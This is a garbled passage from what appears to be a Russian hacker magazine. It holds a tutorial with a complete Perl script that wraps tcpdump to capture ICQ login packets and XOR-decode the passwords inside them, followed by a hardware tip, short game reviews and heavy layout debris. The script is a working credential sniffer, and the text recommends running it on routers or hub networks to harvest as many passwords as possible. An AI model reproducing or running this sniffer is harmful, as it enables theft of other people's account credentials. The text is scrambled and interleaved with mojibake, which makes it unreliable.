(-w) можно сделать

с помощью одного полезного параметра

 

 

 

 

в виде потока

â ôàéë èëè íà ñòàí-

так, что весь нужный трафик будет выводиться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Абсолютно неприемлемо для просмотра

дартное устройство

вывода (терминал)

 

 

 

 

 

 

 

но для автоматического

"вручную", где режим hex выглядит гораздо приятнее,

 

 

 

 

 

 

 

анализа - самое оно.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-надстройкой над tcpdump, читающей вы-

То, что мы напишем,

будет программой

 

 

 

 

 

 

 

 

 

 

 

логин-пакета,

 

 

 

 

 

 

 

это front-end. При обнаружении

 

 

 

 

. Буржуи называют

 

 

.

вод последнего

 

 

 

 

 

 

 

 

 

è ïàðà

 

 

 

 

 

 

 

 

 

 

 

содержимое его будет разобрано,

 

UIN/пароль "выкушена" и показана

 

 

признаку удобства

анализа строк

- Perl.

Опять

же, язык реализации

 

выберем по

çàíè-

 

 

 

 

выражений,

"отлов" пакета в нем будет

Благодаря поддержке регулярных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мать всего одну строчку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Готовый снифер занимает 37 строк. Краткий

обзор его жизнедеятельности:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для достижения

хороших результатов,

величина которых прямо пропорциональна

êîëè-

 

 

желательно запускать

на машинах, выполняю-

 

паролей,

программу

честву отловленных

 

 

 

.

Ñ äðó-

ùèõ â ñåòè

роль роутера, и через которые

проходит максимальный

сетевой трафик

 

 

снифер можно

 

 

 

 

конфигурации внутренней

интранет-сети,

гой стороны, при определенной

 

 

 

 

со своей ра-

 

 

 

 

 

 

 

неплохо справляться

поставить просто на одной из машин, и он тоже будет

 

 

 

 

 

 

 

 

 

 

ботой, так как весь трафик будет доступен

на сетевом интерфейсе каждой

 

 

 

только в том

случае, если все

 

 

из рабочих станций в сети. Такое происходит

 

 

 

 

 

 

 

 

 

 

 

 

 

рабочие станции и шнур от ISP завязаны

друг с другом через HUB. Так что

 

 

 

 

 

 

трафика!

 

 

 

 

 

экспериментируй, находи новые методы анализа

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#!/usr/bin/perl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sub decryptpassword {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

my ($pass) = @_;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

my $res = "";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";

 

 

 

 

 

for(my $i = 0; $i < length($pass);

$i++) {

 

 

 

 

 

$i, 1)));

 

 

 

$i, 1)) ^ ord(substr($xorseq,

 

 

 

$res .= chr(ord(substr($pass,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

return $res;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

my $buf;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst

host login.icq.com'|")

 

 

 

 

 

 

 

 

 

or die "cannot run tcpdump(8)";

 

 

 

 

 

 

 

 

 

 

 

 

while(!eof(DUMP)) {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$buf .= getc(DUMP);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

..ICQ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

..(.+)\000\003

 

 

 

 

 

 

 

 

 

 

 

..(\d+)\000\002

 

 

 

 

if($buf =~ m/\000\000\000\001\000\001

 

 

 

 

 

 

 

 

Inc. - Product of ICQ \(TM\)$/) {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

my $uin = $1;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

my $pass = decryptpassword($2);

 

 

 

 

 

 

 

 

 

 

 

 

. $uin :: $pass\n";

 

 

 

 

 

 

 

 

 

 

 

print "found

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$buf = "";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

close(DUMP);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Символ "|" в кон-

1. open(DUMP, ..) запускает

tcpdump с нужными нам параметрами

и ассоциирован с

 

 

 

 

 

будет перенаправлен

це команды говорит, что

вывод программы

 

на чтение. Если

 

ведет себя как обычный файл, открытый

символом

DUMP, который

 

с указанным

 

 

"or die" завершит выполнение программы

запуск не

удался, конструкция

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сообщением об ошибке

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2. Весь процесс выполняется

внутри цикла while(!eof(DUMP))

- пока не завершится

 

 

 

 

 

 

 

 

 

 

DUMP.

 

 

 

 

 

 

 

 

программа, которая закроет за собой и поток

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Все полученные бай-

3. Поток вычитывается

посимвольно с помощью функции getc()

 

логин-пакет, сра-

 

 

- $buf. Как только в нем обнаруживается

ты складываются

в буфер

 

 

ðå-

 

 

 

 

 

 

 

соответствие накопленной

последовательности

батывает if(), который проверяет

 

 

 

 

 

 

 

 

 

 

 

 

 

информации

гулярному выражению,

построенному на основе собранной нами выше

байтам в на-

 

 

. "Привязывается" оно к сигнатуре в конце и к неизменным

 

 

о протоколе

 

 

 

следует UIN.

 

 

 

 

 

 

 

 

 

 

 

 

 

чале пакета, за которыми

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

..ICQ Inc.

- Product of ICQ

 

 

 

 

 

 

 

 

 

 

 

..(.+)\000\003

 

 

 

 

 

 

 

 

 

 

 

 

 

..(\d+)\000\002

 

 

 

 

 

 

 

 

 

 

 

 

"\000\000\000\001\000\001

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

\(TM\)$"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-çàâè-

4. Взятые в скобки части

выражения автоматически

помещаются

в позиционно

 

 

 

 

 

 

 

 

 

 

 

 

. Для расшифровки послед-

симые

переменные $1 и $2. UIN и пароль у нас

в кармане

 

 

 

 

 

 

 

 

 

написанная по мотивам наших

 

 

 

 

 

 

функция decryptpassword(),

него имеется небольшая

 

 

.

 

 

 

 

 

экспериментов с xor во время разбора структуры

протокола

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пароля, буфер очищается и

 

 

 

 

 

-

5. После показа отловленного

злобный снифер продол

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

жает работу, лишая законопослушных

граждан приватности

и веры в справедливость

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Tips&Tricks

Что делать, если шумит вентилятор?

Совет первый. Самый тривиальный. Отвинтить вентилятор от блока питания. Снять наклейку. Почистить от пыли и залить жидкое машинное масло (только не подсолнечное), не забыть почистить между пропеллером и корпусом. Масла налить не ведро, а несколько капель. Иногда бывает, что винт стучит о корпус, тогда лопасти можно чуток подпилить. Совет второй. Самый практич- ный. Ничего отвинчивать не надо. Надо взять шприц с иголкой. Наполнить его маслом. Потом надо иголкой проткнуть наклейку и пластмассовую пробку под ней.

Понадобится некоторое усилие. Ввести под пробку масло. Все. Никаких винтов-разборок-сборок и всего прочего. Разумеется, это сработает не во всех случаях. Бывает, что серединка вентилятора с наклейкой и пробкой скрыта под решеткой корпуса. В этом случае можно попробовать отвинтить только блок питания - это проще, чем разбирать все, вплоть до вентилятора.

Евгений Затолокин Evgen_shrek@mail.ru

Хочешь увидеть свои советы в журнале? Присылай их на адрес Sklyarov@real.xakep.ru. Ведущий рубрики Tips&Tricks Иван Скляров.

84

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

Юниты

 

 

 

to

 

 

 

w

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

ÇÀË ÑÓÄÀ

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Ядерный

титбит

 

 

 

 

 

 

 

 

 

 

 

 

Adventure

 

 

 

 

 

 

 

ÃÝÃ

 

 

 

 

 

 

 

VZ.lab/Áóêà

 

 

 

 

3D

P2-400(P3-800), 128(256),

 

 

Обомись

 

 

 

 

 

 

-

Преклоним

головы перед Величай

 

Всех Времен

è Íà-

шим Гуманистом

 

 

пришло в этот

родов ибо его Детище

 

 

-

мир. Ядерный Титбит

от несравнен

 

 

 

 

ного, неподражаемого

и неизлечимо

 

 

 

ýòî òî,

больного Дани Шеповалова

 

 

-

что сорвет тебе крышу

ðàç è

навсег

 

 

 

 

-

да. Сюжет, движок и прочие

особен

 

âåäü

ности описывать

бессмысленно:

-

 

 

 

 

 

 

 

 

 

 

 

 

 

. Ïîòî

ты все равно купишь

ýòó èãðó

-

му что только наличие

этого священ

ного диска послужит

тебе билетом в

 

 

 

 

 

-

жизнь, когда землю

захватят интел

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

-киборги

 

лектуальные

нейро

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПРИГОВОР

АЛЛИЛУЙЯ!

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Eternal War: Shadows of lights

FPS

 

Quake, Heretic

 

Two Guys Software

 

P166(P2-300), 64(128)

 

LAN, Èíåò

 

Неудачная комбинация Quake’а

. Начиная игру, не-

è Heretic’à

«Ìî-

вольно задумываешься:

жет, кто-то ошибся и подсунул

ПРИГОВОР

ËÀÆÀ

 

мне неудачную

Ïî êðàé-

милетней давности?»

ней мере, все указывает имен-

но на это. Движок, графика, ка-

чество звука - все на уровне

прошлого века. Добавь к этому

 

-

тупейший сторилайн, раскрыва

ющийся в десяти строчках текс-

та, и желание играть пропадет

напрочь.

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Splinter Cell Шутер от 3-ãî ëèöà Thief, Metal Gear Solid Ubi Soft Montreal/Ubi Soft P3-800, 256(512), 3D Обломись Splinter Cell - приятный сюрп-

риз на игровой сцене. Такой ка- чественной реализации шпио-

нского симулятора, пожалуй, не

ПРИГОВОР

ÐÓËÅ(Ç)!

 

ждал никто. Здесь и красивый

движок, и отличный сценарий, который предусматривает нес-

колько способов прохождения

каждой миссии, и невероятно удобное управление. Слабое

место игры - видеоролики, но

даже их похабная реализация не портит общее впечатление от игры.

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Armored Assault

 

Online танковый симулятор

 

Такого еще не было :)

 

The Total Sim Series/

 

iEntertainment Network

 

-600), 128(256), 3D

 

P2-400(P3

 

Èíåò

-

Онлайновый танковый симулятор

-

 

пожалуй, такого мы еще не виде

 

-

 

ли. Идея неплохая, но вот реали

 

ПРИГОВОР

СЛАБО

 

. Несмотря

зация явно подкачала

воспроиз-

на то, что разработчики

-

 

вели лишь один класс танков, ли

дер среди них четко выделяется,

соответственно на других танках

ездят лишь неопытные новички.

Управление реализовано ужасно:

целиться, даже с помощью джойс-

тика, очень сложно. А модемного

 

...

канала для игры явно не хватает

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Praetoreans

 

 

RTS

 

 

WH: Dark Omen, Medieval

 

 

Pyro Studios/Eidos Interactive

P3-500(P3-800), 128(256),

3D

LAN, Èíåò

 

предс-

Разработчики грозились

тавить нам тактический

симуля-

тор, пообещав игрокам полное

 

 

-

избавление от микроменедж

ПРИГОВОР

ХОРОШО

 

 

. Однако

ïîëó-

мента и ресурсов

 

 

. Îñòà-

-то странное

 

чилось что

 

 

лись и ресурсы, и персональные

 

 

-

указания юнитам, а вот элемен

 

. Þíè-

ты тактики не впечатляют

 

тов слишком много, чтобы ими

 

. Òåì íå

осмысленно управлять

-

 

 

менее, плохой игру не назо

вешь. Все на уровне, особенно

графика.

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

1

 

2

 

3

 

4

 

86

Ньюсы

Феррум

Inside

PC_Zone

Взлом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

успев

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

íå

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ãðà

 

 

только

первой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

капли

íåñ

 

 

 

разделе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кампаний,

 

 

 

 

 

íå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åùå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Íè

 

 

 

 

 

 

 

 

 

 

 

 

ñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нужных в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

íå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

новенького:

 

разнообразием,

 

 

Советую

жанра,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

видели

Èç

линейных

 

 

 

